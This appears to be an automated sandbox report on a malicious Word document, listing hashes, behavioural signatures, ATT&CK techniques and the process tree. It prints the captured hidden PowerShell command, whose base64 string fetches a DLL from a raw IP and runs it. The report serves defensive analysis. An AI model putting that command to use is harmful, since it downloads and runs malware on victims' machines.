9c6241b1ccd67ad4439be584bf286f2f37c247217ffb59ab7031867c517abed4

General

Target

0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc
Size

1.5MB
MD5

3272df3f79a0fa8c2ba601c4771b99e4
SHA1

90237b6a9396828465224313f1e8d1fe32190b85
SHA256

0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5
SHA512

f937de508da39c0f2ee844a01bb8bb31e9f3b10ab1243a92be3239d2d18d53552759d20a498e4186a56422bda3824c994903cc228bd4bea1de4903f5c61d3827

Score

10^/10

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

WINWORD.EXE

description pid process target process

PID 3656 created 3040 3656 WINWORD.EXE Explorer.EXE
Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

14 3788 powershell.exe

description	pid	process	target process
PID 3656 created 3040	3656	WINWORD.EXE	Explorer.EXE

flow	pid	process
14	3788	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

3656 WINWORD.EXE
3656 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

3788 powershell.exe
3788 powershell.exe
3788 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3788 powershell.exe
Suspicious use of SetWindowsHookEx 8 IoCs

Processes:

WINWORD.EXE

pid process

3656 WINWORD.EXE
3656 WINWORD.EXE
3656 WINWORD.EXE
3656 WINWORD.EXE
3656 WINWORD.EXE
3656 WINWORD.EXE
3656 WINWORD.EXE
3656 WINWORD.EXE

pid	process
3656	WINWORD.EXE
3656	WINWORD.EXE

pid	process
3788	powershell.exe
3788	powershell.exe
3788	powershell.exe

description	pid	process
Token: SeDebugPrivilege	3788	powershell.exe

pid	process
3656	WINWORD.EXE
3656	WINWORD.EXE
3656	WINWORD.EXE
3656	WINWORD.EXE
3656	WINWORD.EXE
3656	WINWORD.EXE
3656	WINWORD.EXE
3656	WINWORD.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

WINWORD.EXEpowershell.exe

description	pid	process	target process
PID 3656 wrote to memory of 3788	3656	WINWORD.EXE	powershell.exe
PID 3656 wrote to memory of 3788	3656	WINWORD.EXE	powershell.exe
PID 3788 wrote to memory of 768	3788	powershell.exe	rundll32.exe
PID 3788 wrote to memory of 768	3788	powershell.exe	rundll32.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3040

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0a4315aced819ab564058480ffeeeb059756030d8c056605f2e0c6fc88b8b2f5.doc" /o ""
2⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -nop -w hidden -command $var=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('SW52b2tlLVdlYlJlcXVlc3QgLVVyaSBodHRwOi8vMTc2LjEwLjEyNS4yMzo4MDAwL2hlYWRlcmVsZW1lbnQuanBnIC1PdXRGaWxlICRlbnY6dGVtcFx3aW5zeXMuZGxsOyBydW5kbGwzMiAkZW52OnRlbXBcd2luc3lzLmRsbCxTdGFydA=='));iex $var
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3788

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\AppData\Local\Temp\winsys.dll,Start
3⤵
PID:768

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/768-183-0x0000000000000000-mapping.dmp

Download
memory/3656-122-0x00007FF876250000-0x00007FF87733E000-memory.dmp

Filesize
16.9MB

Download
memory/3656-116-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/3656-117-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/3656-119-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/3656-118-0x00007FF87BDD0000-0x00007FF87E8F3000-memory.dmp

Filesize
43.1MB

Download
memory/3656-114-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/3656-123-0x00007FF8736A0000-0x00007FF875595000-memory.dmp

Filesize
31.0MB

Download
memory/3656-115-0x00007FF85A170000-0x00007FF85A180000-memory.dmp

Filesize
64KB

Download
memory/3788-179-0x0000000000000000-mapping.dmp

Download
memory/3788-181-0x00000212D3423000-0x00000212D3425000-memory.dmp

Filesize
8KB

Download
memory/3788-180-0x00000212D3420000-0x00000212D3422000-memory.dmp

Filesize
8KB

Download
memory/3788-182-0x00000212D3426000-0x00000212D3428000-memory.dmp

Filesize
8KB

Download
memory/3788-184-0x00000212D3428000-0x00000212D3429000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

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Downloads